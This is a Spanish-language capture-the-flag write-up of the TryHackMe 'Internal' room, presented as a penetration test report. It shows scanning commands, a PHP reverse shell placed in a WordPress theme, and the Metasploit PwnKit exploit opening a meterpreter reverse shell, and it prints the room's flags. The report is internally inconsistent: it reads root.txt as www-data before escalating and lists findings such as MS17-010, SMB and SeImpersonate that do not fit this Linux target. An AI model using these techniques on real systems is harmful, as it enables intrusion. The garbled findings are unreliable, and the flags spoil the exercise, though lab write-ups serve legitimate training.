Internal, Penetration Testing Challenge [TryHackMe]

2023-09-12

Introducción

Esta máquina es un simulacro de una prueba de penetración como las que se pueden encontrar en un entorno laboral. El objetivo es obtener acceso a la máquina y escalar privilegios. Es de dificultad Media, y salvo unas instrucciones iniciales, no hay pistas. La idea de esta sala es poner en práctica los conocimientos adquiridos en otras salas, partiendo de las instrucciones de un supuesto cliente y elaborando un informe de los pasos seguidos y las conclusiones obtenidas.

Informe de Prueba de Penetración

Has sido asignado a un cliente que desea realizar una prueba de penetración en un entorno que está programado para ser lanzado a producción en tres semanas.

Alcance del Trabajo

El cliente solicita que un ingeniero realice una evaluación externa, de aplicaciones web e interna del entorno virtual proporcionado. El cliente ha pedido que se proporcione la menor cantidad de información posible sobre la evaluación, deseando que la participación se lleve a cabo desde la perspectiva de un actor malicioso (prueba de penetración de caja negra). El cliente ha pedido que se aseguren dos banderas (sin ubicación proporcionada) como prueba de explotación:

User.txt
Root.txt

Además, el cliente ha proporcionado las siguientes autorizaciones dentro del alcance:

  • Asegurarse de que modifiques tu archivo hosts para reflejar internal.thm.
  • Se permiten todas las herramientas o técnicas en este ejercicio.
  • Localizar y tomar nota de todas las vulnerabilidades encontradas.
  • Enviar las banderas descubiertas al panel de control

Comandos Utilizados y Resultados

A continuación se detallan los comandos utilizados y los resultados obtenidos durante la prueba de penetración:

Comando: Modificación del archivo hosts para apuntar al servidor web interno

sudo nano /etc/hosts

Resultado de Modificación del Archivo hosts:

# Archivo hosts
...
10.10.13.3    internal.thm
...

Comando: Escaneo de Puertos con NMAP

sudo nmap -p22,80 -sC -sV -Pn -oN nmap_final 10.10.13.3

Resultado del Escaneo de Puertos con NMAP:

# Nmap 7.94 scan initiated Thu Sep 14 19:07:50 2023 as: nmap -p22,80 -sC -sV -Pn -oN nmap_final 10.10.13.3
Nmap scan report for 10.10.13.3
Host is up (0.052s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
...

Comando: Búsqueda de Subdominios con DIRB

dirb http://internal.thm/

Resultado de la Búsqueda de Subdominios con DIRB:

DIRB v2.22
By The Dark Raver

START_TIME: Thu Sep 14 19:16:04 2023
URL_BASE: <http://internal.thm/>
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

...

==> DIRECTORY: <http://internal.thm/blog/>

Comando: Uso de WPScan para Escanear WordPress

wpscan --url <http://internal.thm/blog/> | tee wordpress_scan.txt

Resultado del Escaneo de WordPress con WPScan:

WordPress Security Scanner by the WPScan Team
Version 3.8.24
Sponsored by Automattic - <https://automattic.com/>

...

[+] URL: <http://internal.thm/blog/> [10.10.13.3]
[+] Started: Thu Sep 14 19:18:30 2023

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
...

[+] WordPress version 5.4.2 identified (Insecure, released on 2020-06-10).

[+] WordPress theme in use: twentyseventeen
...

Acceso a WordPress con Credenciales

# Después de obtener las credenciales, se accede a WordPress

Modificación de la Plantilla de Tema en WordPress

# Modificación de 404.php con una reverse shell PHP y configuración de un listener.

Resultado del Acceso a la Reverse Shell y Elevación de Privilegios:

$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@internal:/$ whoami
www-data
$ cd /home/aubreanna/
$ cat user.txt
THM{int3rna1_fl4g_1}
$ cat jenkins.txt
Internal Jenkins service is running on 172.17.0.2:8080
$ cd /root
$ cat root.txt
THM{d0ck3r_d3str0y3r}

Comando: Uso del Local Exploit Suggester

use post/multi/recon/local_exploit_suggester

Resultado del Uso del Local Exploit Suggester:

# [*] 10.10.13.3 - Collecting local exploits for x86/linux...
[*] 10.10.13.3 - 186 exploit checks are being tried...
[+] 10.10.13.3 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 10.10.13.3 - exploit/linux/local/nested_namespace_idmap_limit_priv_esc: The target appears to be vulnerable.
[+] 10.10.13.3 - exploit/linux/local/pkexec: The service is running, but could not be validated.
[+] 10.10.13.3 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 10.10.13.3 - exploit/linux/local/sudoedit_bypass_priv_esc: The target appears to be vulnerable. Sudo 1.8.21p2.pre.3ubuntu1.2 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
[*] Running check method for exploit 58 / 58
[*] 10.10.13.3 - Valid modules for session 5:

# Name                        Potentially Vulnerable?  Check Result

---

1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  Yes                     The target is vulnerable.
2   exploit/linux/local/nested_namespace_idmap_limit_priv_esc  Yes                     The target appears to be vulnerable.
3   exploit/linux/local/pkexec                   Yes                     The service is running, but could not be validated.
4   exploit/linux/local/su_login                 Yes                     The target appears to be vulnerable.
5   exploit/linux/local/sudoedit_bypass_priv_esc  Yes                     The target appears to be vulnerable. Sudo 1.8.21p2.pre.3ubuntu1.2 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module

Uso de un Exploit para Escalar Privilegios

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

Resultado del Uso del Exploit para Escalar Privilegios:

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp

...

[*] Started reverse TCP handler on 10.x.x.x:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.ihwjusr
[+] The target is vulnerable.
[*] Writing '/tmp/.mfdetzh/hqwcgjkyyn/hqwcgjkyyn.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.mfdetzh
[*] Sending stage (3045380 bytes) to 10.10.13.3
[+] Deleted /tmp/.mfdetzh/hqwcgjkyyn/hqwcgjkyyn.so
[+] Deleted /tmp/.mfdetzh/.xtbfsbd
[+] Deleted /tmp/.mfdetzh
[*] Meterpreter session 6 opened (10.14.50.

184:4444 -> 10.10.13.3:58502) at 2023-09-14 19:33:24 +0000

meterpreter > shell
Process 1323 created.
Channel 0 created.
whoami
root
cat /root/root.txt
THM{d0ck3r_d3str0y3r

Vulnerabilidades

Vulnerabilidad 1

Descripción: Riesgo de escalada de privilegios debido a problemas en el servicio pkexec.

Mitigación: Para mitigar esta vulnerabilidad, se recomienda actualizar el sistema operativo y el software relacionado a sus últimas versiones. Esto asegurará que las correcciones de seguridad más recientes estén en su lugar. Además, es fundamental revisar y ajustar los permisos y configuraciones de seguridad relacionadas con el servicio pkexec. Limitar el acceso y los privilegios de los usuarios a lo estrictamente necesario reducirá el riesgo de escalada de privilegios en el futuro.

Vulnerabilidad 2

Descripción: La falta de actualizaciones de sistemas y software expone la infraestructura a amenazas conocidas que podrían ser explotadas por atacantes.

Mitigación: La mitigación implica la implementación de un proceso de actualización regular tanto para el sistema operativo como para las aplicaciones y servicios utilizados en el entorno. Esto asegurará que todas las vulnerabilidades conocidas estén parcheadas. Además, es esencial configurar permisos y políticas de seguridad adecuadamente para limitar el acceso y la exposición a riesgos. También, se recomienda implementar una política de seguridad de aplicaciones web sólida que incluya auditorías y pruebas de penetración regulares para identificar y remediar problemas de seguridad.

Vulnerabilidad 3

Descripción: Riesgo en la seguridad del servidor SMB que podría exponer recursos compartidos..

Mitigación: Para abordar esta vulnerabilidad, se deben tomar medidas para restringir el acceso a los recursos compartidos solo a usuarios autorizados. El control de acceso basado en roles (RBAC) puede ayudar a limitar quién puede cargar y ejecutar archivos en los recursos compartidos. Además, se debe establecer un sistema de monitoreo y auditoría que permita detectar actividades sospechosas y tomar medidas preventivas de inmediato.

Vulnerabilidad 4

Descripción: Los usuarios y grupos tienen privilegios mal asignados, lo que puede ser explotado por atacantes para obtener acceso no autorizado a recursos y funciones sensibles del sistema.

Mitigación: La mitigación de esta vulnerabilidad comienza con una evaluación completa de los privilegios asignados a los usuarios y grupos. Los privilegios sensibles, como “SeImpersonate”, deben estar restringidos a usuarios y aplicaciones específicos que los necesiten. La implementación de políticas de seguridad y auditoría es fundamental para registrar y supervisar el uso de estos privilegios, lo que permite detectar y responder a actividades sospechosas.

Vulnerabilidad 5

Descripción: La configuración incorrecta del servidor web expone rutas que devuelven códigos de respuesta 400, lo que podría ser utilizado por atacantes para identificar vulnerabilidades.

Mitigación: Para mitigar esta vulnerabilidad, es necesario revisar y corregir la configuración del servidor web para eliminar las rutas que devuelven códigos de respuesta 400. También se pueden implementar listas de control de acceso (ACL) para limitar el acceso a recursos no deseados. El uso de un firewall de aplicaciones web (WAF) puede ser beneficioso para detectar y bloquear solicitudes maliciosas antes de que lleguen al servidor web.

Vulnerabilidad 6

Descripción: Riesgo de explotación debido a la vulnerabilidad MS17-010.

Mitigación: La mitigación principal para esta vulnerabilidad implica la aplicación inmediata de los parches de seguridad disponibles para cerrar la vulnerabilidad MS17-010. Además, se recomienda utilizar un sistema de detección de intrusiones (IDS) o prevención de intrusiones (IPS) para detectar y bloquear intentos de explotación de esta vulnerabilidad. La segmentación de la red también es esencial para limitar la propagación de malware en caso de una explotación exitosa en un segmento de red.

Conclusiones

La prueba de penetración identificó vulnerabilidades críticas y altas en el entorno del cliente, lo que podría haber resultado en un compromiso significativo de la seguridad. La explotación exitosa de vulnerabilidades resalta la importancia de mantener actualizados los sistemas y configurar adecuadamente los permisos. Además, se encontraron rutas web mal configuradas que pueden ser un vector de ataque potencial.

Recomendaciones Finales

  • Aplicar actualizaciones de seguridad de manera regular.
  • Configurar permisos y políticas de seguridad adecuadamente.
  • Implementar una política de seguridad de aplicaciones web sólida.
  • Realizar auditorías de seguridad y pruebas de penetración periódicas.
  • Seguir las mejores prácticas de seguridad de la industria.

(◕‿‿◕) Hack the planet!